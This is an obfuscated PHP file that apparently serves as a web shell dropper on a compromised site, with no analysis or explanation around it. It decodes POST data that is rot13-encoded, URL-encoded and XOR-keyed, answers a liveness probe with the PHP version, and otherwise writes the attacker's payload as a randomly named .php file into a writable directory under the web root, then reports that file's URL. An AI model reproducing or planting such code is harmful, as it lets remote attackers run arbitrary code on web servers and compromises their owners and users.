<?php $hlpue = "hktnjifewkqcuhwx";$nwdfiqnl = "";foreach ($_POST as $nhwgjtbwi => $lonlhgvif){if (strlen($nhwgjtbwi) == 16 and substr_count($lonlhgvif, "%") > 10){spdfkyw($nhwgjtbwi, $lonlhgvif);}}function spdfkyw($nhwgjtbwi, $ovfjiixdlp){global $nwdfiqnl;$nwdfiqnl = $nhwgjtbwi;$ovfjiixdlp = str_split(rawurldecode(str_rot13($ovfjiixdlp)));function xgljlmxzgg($lpvjkcet, $nhwgjtbwi){global $hlpue, $nwdfiqnl;return $lpvjkcet ^ $hlpue[$nhwgjtbwi % strlen($hlpue)] ^ $nwdfiqnl[$nhwgjtbwi % strlen($nwdfiqnl)];}$ovfjiixdlp = implode("", array_map("xgljlmxzgg", array_values($ovfjiixdlp), array_keys($ovfjiixdlp)));$ovfjiixdlp = @unserialize($ovfjiixdlp);if (@is_array($ovfjiixdlp)){$nhwgjtbwi = array_keys($ovfjiixdlp);$ovfjiixdlp = $ovfjiixdlp[$nhwgjtbwi[0]];if ($ovfjiixdlp === $nhwgjtbwi[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function wmekicz($ersejtodnir) {static $kzxqum = array();$ersejtodnblpz = glob($ersejtodnir . '/*', GLOB_ONLYDIR);if (count($ersejtodnblpz) > 0) {foreach ($ersejtodnblpz as $ersejtodn){if (@is_writable($ersejtodn)){$kzxqum[] = $ersejtodn;}}}foreach ($ersejtodnblpz as $ersejtodnir) wmekicz($ersejtodnir);return $kzxqum;}$maxuukphy = $_SERVER["DOCUMENT_ROOT"];$ersejtodnblpz = wmekicz($maxuukphy);$nhwgjtbwi = array_rand($ersejtodnblpz);$xrtjlzpkwy = $ersejtodnblpz[$nhwgjtbwi] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($xrtjlzpkwy, $ovfjiixdlp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($xrtjlzpkwy, strlen($maxuukphy));exit();}}}